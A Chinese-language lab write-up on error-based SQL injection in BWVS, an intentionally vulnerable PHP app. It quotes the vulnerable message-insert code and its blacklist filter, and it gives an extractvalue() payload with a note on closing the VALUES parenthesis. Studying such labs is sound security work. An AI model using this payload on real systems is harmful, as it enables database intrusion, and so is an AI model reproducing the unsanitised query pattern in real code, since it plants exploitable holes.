什么是报错型注入呢?
其实指的是在php
开启了mysql
错误回显后才能进行的注入方式,大多是利用一些特殊的函数来导致mysql
出错,错误回显到前端完成的注入方式,能够进行报错注入的函数有不少,具体可以看以下几篇文章
漏洞位置:/messageSub.php
header("Content-type: text/html; charset=utf-8");
include_once('./bwvs_config/sys_config.php');
if(isset($_POST['submit']) && isset($_SESSION['user_name'])){
if(!empty($_POST['message'])){
$clean_message = update_waf($_POST['message']);
$clean_message = XSS_Message($clean_message);
date_default_timezone_set("Asia/Shanghai");
$time = date("Y-m-d");
$user_name = $_SESSION['user_name'];
$user_id = $_SESSION['user_id'];
$sql = "INSERT INTO dwvs_message(dwvs_message,DWVS_mes_time,DWVS_mes_name,DWVS_uid) VALUES ('$clean_message','$time','$user_name','$user_id')";
mysqli_query($connect,$sql) or die(mysqli_error($connect));
mysqli_close($connect);
echo '';
}else{
echo '';
}
}else{
not_find($_SERVER['PHP_SELF']);
}
?>
有两个waf
,去看下waf
的代码。
function update_waf($upda_Name)
{
$black_str = "/(and|xor|union|sleep|substr|order|by|delete|drop|outfile|load_file)/i";
$upda_Name = preg_replace($black_str, "", $upda_Name);
$upda_Name = preg_replace("/union\s+select/i","",$upda_Name);
$upda_Name = preg_replace("/and\s+sleep/i","",$upda_Name);
if(preg_match($black_str,$upda_Name)){
$upda_Name = update_waf($upda_Name);
return $upda_Name;
}
return $upda_Name;
}
做了循环过滤,所以大小写和双写都不可以绕过的,同时再次匹配了union select
和sleep
,感觉没啥用,因为这里用的不是查询语句,用的是insert
,而且同时也开了die(mysqli_error($connect))
,所以这里用报错注入
比较好。
这里在用' or extractvalue(1,concat(0x7e,database(),0x7e))#
的时候发现报的错很奇怪
还换了几个其他的函数试过了,都是同样的,最后去查数据库的日志才发现,原来少了一个括号
INSERT INTO dwvs_message(dwvs_message,DWVS_mes_time,DWVS_mes_name,DWVS_uid) VALUES ('' or extractvalue(1,concat(0x7e,database(),0x7e))#','2019-11-24','admin','1')
,这里要把VALUES
后面的括号给闭合起来,才能成功报错。
漏洞位置:/user/updateName.php
这个就不多说了,这个我在BWVS-SQL联合查询注入中有分析。